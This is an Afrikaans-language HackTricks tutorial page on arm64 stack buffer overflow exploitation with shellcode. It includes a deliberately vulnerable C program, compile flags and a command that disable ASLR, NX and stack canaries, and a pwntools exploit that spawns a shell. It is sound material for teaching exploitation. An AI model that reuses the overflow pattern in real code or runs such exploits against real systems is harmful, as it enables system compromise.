Stack Shellcode - arm64
Reading time: 3 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Vind 'n inleiding tot arm64 in:
Linux
Kode
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Kompileer sonder pie, canary en nx:
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
Geen ASLR & Geen canary - Stack Overflow
Om ASLR te stop, voer uit:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Om die offset van die bof, kyk na hierdie skakel.
Exploit:
from pwn import *
# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)
# Generate shellcode
shellcode = asm(shellcraft.sh())
# Start the process
p = process(binary_name)
# Offset to return address
offset = 72
# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)
# Craft the payload
payload = b'A' * offset + ret_address + shellcode
print("Payload length: "+ str(len(payload)))
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
Die enigste "komplekse" ding om hier te vind sou die adres op die stack wees om aan te roep. In my geval het ek die exploit gegenereer met die adres wat met gdb gevind is, maar toe ek dit eksploiteer het het dit nie gewerk nie (omdat die stack-adres effens verander het).
Ek het die gegenereerde core
lêer (gdb ./bog ./core
) oopgemaak en die werklike adres van die begin van die shellcode nagegaan.
macOS
tip
Dit is nie moontlik om NX in macOS uit te skakel nie omdat op arm64 hierdie modus op hardewarevlak geïmplementeer is, so jy kan dit nie uitskakel nie, daarom sal jy nie voorbeelde met shellcode op die stack in macOS vind nie.
Kyk na 'n macOS ret2win voorbeeld in:
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.